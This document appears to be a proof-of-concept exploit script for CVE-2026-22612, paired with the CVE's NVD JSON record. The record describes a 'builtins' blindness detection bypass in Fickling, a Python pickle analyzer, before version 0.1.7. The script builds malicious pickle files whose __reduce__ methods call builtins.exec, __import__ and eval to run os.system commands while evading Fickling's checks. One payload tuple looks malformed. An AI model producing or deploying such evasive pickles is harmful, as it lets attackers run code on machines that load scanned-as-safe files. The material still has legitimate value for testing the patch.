CVE-2026-22612

# CVE-2026-22612 PoC - Fickling builtins blindness bypass # Generate malicious pickle that bypasses Fickling detection import pickle import builtins # Method 1: Using builtins to bypass detection class MaliciousPayload: def __reduce__(self): # This exploits the builtins blindness in Fickling < 0.1.7 # By accessing dangerous functions through builtins module return (builtins.exec, ('print("Code execution via builtins bypass")',)) # Serialize the payload malicious_data = pickle.dumps(MaliciousPayload()) # Write to file (Fickling would fail to detect this in < 0.1.7) with open('malicious.pkl', 'wb') as f: f.write(malicious_data) # Method 2: Alternative bypass using __import__ through builtins class BypassPayload2: def __reduce__(self): # Bypass via builtins.__import__ return (builtins.__import__, ('os',), {'fromlist': ['os']}, None, None, 'system', 'id') # Method 3: Nested pickle with builtins reference def create_bypass_payload(): # Create payload that Fickling cannot properly analyze payload = pickle.dumps({'key': 'value'}) return pickle.dumps((builtins.eval, (f'__import__("os").system("id")',))) if __name__ == '__main__': print('[+] Generating CVE-2026-22612 PoC payloads...') print('[+] Payload 1: builtins.exec bypass') with open('poc_builtins_exec.pkl', 'wb') as f: pickle.dump(MaliciousPayload(), f) print('[+] Payload 2: builtins.__import__ bypass') with open('poc_builtins_import.pkl', 'wb') as f: pickle.dump(BypassPayload2(), f) print('[+] Payloads generated successfully')

{"cve": {"id": "CVE-2026-22612", "sourceIdentifier": "[email protected]", "published": "2026-01-10T02:15:50.187", "lastModified": "2026-01-16T18:56:30.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, Fickling is vulnerable to detection bypass due to \"builtins\" blindness. This issue has been patched in version 0.1.7."}, {"lang": "es", "value": "Fickling es un descompilador de pickling de Python y analizador estático. Antes de la versión 0.1.7, Fickling es vulnerable a la elusión de detección debido a la ceguera a 'builtins'. Este problema ha sido parcheado en la versión 0.1.7."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:trailofbits:fickling:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.1.7", "matchCriteriaId": "0D11EA35-A440-4468-BC69-709AA3A18DD9"}]}]}], "references": [{"url": "https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.7", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-h4rm-mm56-xf63", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-h4rm-mm56-xf63", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}